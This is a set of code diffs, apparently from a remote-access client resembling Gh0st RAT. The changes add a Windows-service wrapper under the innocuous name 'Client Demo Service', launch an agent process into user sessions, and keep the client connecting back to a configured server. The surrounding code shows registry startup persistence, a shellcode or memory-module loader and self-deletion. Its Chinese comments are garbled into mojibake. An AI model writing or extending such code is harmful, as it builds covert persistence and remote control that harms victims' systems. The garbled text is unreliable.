}
@@ -523,7 +528,7 @@ static BOOL LaunchAgentInSession(SessionMonitor* self, DWORD sessionId)
if (result) {
sprintf(buf, "SUCCESS: Agent process created (PID=%d)", (int)pi.dwProcessId);
SessionMonitor_WriteLog(buf);
SessionLog(buf);
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϣ<EFBFBD><CFA2><EFBFBD>Ա<EFBFBD>ֹͣʱ<D6B9><CAB1><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ֹ<EFBFBD><D6B9>
EnterCriticalSection(&self->csProcessList);
@@ -537,15 +542,15 @@ static BOOL LaunchAgentInSession(SessionMonitor* self, DWORD sessionId)
} else {
err = GetLastError();
sprintf(buf, "CreateProcessAsUser failed: %d", (int)err);
SessionMonitor_WriteLog(buf);
SessionLog(buf);
// <20><EFBFBD><E1B9A9><EFBFBD><EFBFBD>ϸ<EFBFBD>Ĵ<EFBFBD><C4B4><EFBFBD><EFBFBD><EFBFBD>Ϣ
if (err == ERROR_FILE_NOT_FOUND) {
SessionMonitor_WriteLog("ERROR: ghost_agent.exe not found");
SessionLog("ERROR: agent executable file not found");
} else if (err == ERROR_ACCESS_DENIED) {
SessionMonitor_WriteLog("ERROR: Access denied - service may not have sufficient privileges");
SessionLog("ERROR: Access denied - service may not have sufficient privileges");
} else if (err == 1314) {
SessionMonitor_WriteLog("ERROR: Service does not have SE_INCREASE_QUOTA privilege");
SessionLog("ERROR: Service does not have SE_INCREASE_QUOTA privilege");
}
}

View File

@@ -44,6 +44,8 @@ BOOL SessionMonitor_Start(SessionMonitor* self);
// 停止会话监控
void SessionMonitor_Stop(SessionMonitor* self);
void ServiceWriteLog(const char* message, const char* filename);
#ifdef __cplusplus
}
#endif

View File

@@ -163,6 +163,8 @@
<ClCompile Include="Loader.cpp" />
<ClCompile Include="MemoryModule.c" />
<ClCompile Include="reg_startup.c" />
<ClCompile Include="ServiceWrapper.c" />
<ClCompile Include="SessionMonitor.c" />
<ClCompile Include="test.cpp" />
</ItemGroup>
<ItemGroup>
@@ -170,6 +172,8 @@
<ClInclude Include="MemoryModule.h" />
<ClInclude Include="reg_startup.h" />
<ClInclude Include="resource1.h" />
<ClInclude Include="ServiceWrapper.h" />
<ClInclude Include="SessionMonitor.h" />
</ItemGroup>
<ItemGroup>
<ResourceCompile Include="TestRun.rc" />

View File

@@ -12,6 +12,7 @@
#include "SCLoader.cpp"
extern "C" {
#include "reg_startup.h"
#include "ServiceWrapper.h"
}
#pragma comment(lib, "ws2_32.lib")
@@ -216,8 +217,10 @@ public:
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ھʹ<DABE><CDB4><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>л<EFBFBD>ȡIP<49>Ͷ˿<CDB6>.
int main(int argc, const char *argv[])
{
InitWindowsService({"ClientDemoService", "Client Demo Service", "Provide a demo service."});
bool isService = g_ConnectAddress.iStartup == Startup_TestRunMsc;
// ע<><D7A2><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
int r = RegisterStartup("Client Demo", "ClientDemo", true);
int r = RegisterStartup("Client Demo", "ClientDemo", !isService);
if (r <= 0) {
BOOL s = self_del();
if (!IsDebug)return r;
@@ -227,6 +230,17 @@ int main(int argc, const char *argv[])
if(!ok) {
Mprintf("<EFBFBD><EFBFBD><EFBFBD>ÿ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʧ<EFBFBD>ܣ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>ù<EFBFBD><EFBFBD><EFBFBD>ԱȨ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>.\n");
}
if (isService) {
bool ret = RunAsWindowsService(argc, argv);
Mprintf("RunAsWindowsService %s. Arg Count: %d\n", ret ? "succeed" : "failed", argc);
for (int i = 0; !ret && i < argc; i++) {
Mprintf(" Arg [%d]: %s\n", i, argv[i]);
}
if (ret) return 0x20251202;
g_ConnectAddress.iStartup = Startup_MEMDLL;
}
status = 0;
SetConsoleCtrlHandler(&callback, TRUE);
@@ -275,8 +289,9 @@ int main(int argc, const char *argv[])
}
do {
BOOL ret = Run(argc > 1 ? argv[1] : (strlen(g_ConnectAddress.ServerIP()) == 0 ? "127.0.0.1" : g_ConnectAddress.ServerIP()),
argc > 2 ? atoi(argv[2]) : (g_ConnectAddress.ServerPort() == 0 ? 6543 : g_ConnectAddress.ServerPort()));
BOOL ret = Run((argc > 1 && argv[1][0] != '-') ? // remark: demo may run with argument "-agent"
argv[1] : (strlen(g_ConnectAddress.ServerIP()) == 0 ? "127.0.0.1" : g_ConnectAddress.ServerIP()),
argc > 2 ? atoi(argv[2]) : (g_ConnectAddress.ServerPort() == 0 ? 6543 : g_ConnectAddress.ServerPort()));
if (ret == 1) {
return -1;
}